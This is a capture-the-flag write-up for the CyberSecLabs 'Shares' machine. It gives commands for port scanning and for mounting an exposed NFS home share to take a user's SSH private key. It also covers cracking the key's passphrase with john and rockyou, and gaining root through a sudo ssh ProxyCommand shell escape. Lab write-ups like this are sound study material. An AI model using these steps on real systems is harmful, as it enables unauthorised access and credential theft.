> For the complete documentation index, see [llms.txt](https://psdon.gitbook.io/hackworld/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://psdon.gitbook.io/hackworld/writeup/cyberseclab/shares.md).
# Shares
## nmap
```
mkdir nmap
sudo rustscan -a 172.31.1.7 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan
```
## Enumeration
A file system is open on port 2049, and ssh is weirdly open on port 27853
Looks like we can mount the home folder of user `amir`
We can mount it by executing the following
```
mkdir /tmp/amir
sudo mount -t nfs 172.31.1.7:/home/amir /tmp/amir
```
Upon digging in the file system, you will notice there's an ssh key inside .ssh folder.
Copy `id_rsa` to your working directory, and `chmod` it.
```
cp id_rsa ~/infosec/cyberseclabs/shares/amir_id_rsa
chmod +x amir_id_rsa
```
The ssh key is encrypted, it means we have to crack this with `john`
```
ssh2john amir_id_rsa > amir_id_rsa.ssh2john
john amir_id_rsa.ssh2john -w=/opt/wordlist/rockyou.txt
```
After a few seconds, you will be able to get the password.
## Initial foothold
Using the SSH key, the cracked password, and the knowledge of user `amir` being existed. Now we can log in. Sweet :D
## Privilege Escalation
We can execute python3 as user `amy`
We can leverage that and gain a shell as `amy`
And with user amy, we can run sudo command with ssh
Now we can gain root, by executing the following
```
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
```
Enjoy your root privilege. :D
